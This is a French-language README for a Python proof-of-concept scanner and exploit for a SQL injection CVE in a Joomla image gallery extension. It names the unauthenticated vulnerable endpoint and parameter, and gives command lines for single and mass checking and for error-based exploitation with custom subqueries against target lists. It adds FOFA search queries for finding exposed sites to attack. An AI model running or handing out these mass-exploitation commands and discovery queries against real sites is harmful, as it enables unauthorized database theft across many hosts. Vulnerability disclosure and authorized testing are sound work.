CVE-2026-88854 — Injection SQL dans OrdaSoft Joomla Gallery

Scanner/exploit PoC en Python 3 pour CVE-2026-88854 dans OrdaSoft OS Responsive Image Gallery pour Joomla.

Résumé

showSearchResult() / showSearchResultAjax() lisent textsearch / searchText via $input->getVar(), qui n'applique pas d'échappement SQL approprié. La valeur est concaténée dans une clause LIKE. Des visiteurs non authentifiés peuvent utiliser une injection de type UNION pour lire le contenu de la base de données.

Surface de requête typique :

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Les installations héritées peuvent utiliser le nom de tâche searhResult (faute de frappe).

Prérequis

• Python 3.9+
• pip install -r requirements.txt

Utilisation

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

Options CLI

Sortie (mass check)

Valeurs status courantes (check)

Audit post-scan (audit_scan.py)

Après un check en masse, exécutez audit_scan.py pour récupérer à nouveau les manifestes d'administration et répartir les cibles :

La version de la galerie est lue depuis l'élément <version> dans administrator/components/com_osgallery/osgallery.xml, et non depuis l'attribut Joomla extension version=.

Limitations

• Le mode Exploit utilise EXTRACTVALUE basé sur erreur MySQL ; MariaDB/Postgres, erreurs désactivées ou WAF peuvent ne produire aucune fuite même lorsque la CVE s'applique.
• Les différences de longueur booléennes seules ne sont pas traitées comme SQLi confirmée (ModSecurity 406 a causé des faux positifs lors des tests).
• Une version de manifeste ≤ 6.2.6 indique une fenêtre d'exposition, pas une SQLi exploitable garantie sur chaque hôte.
• Les installations Joomla en sous-répertoire nécessitent l'URL de base correcte (par ex. https://host/site).

FOFA / indices de découverte

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Arborescence du dépôt

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Les listes de cibles locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sont dans .gitignore et ne doivent pas être commités.

Références

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Légal

Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.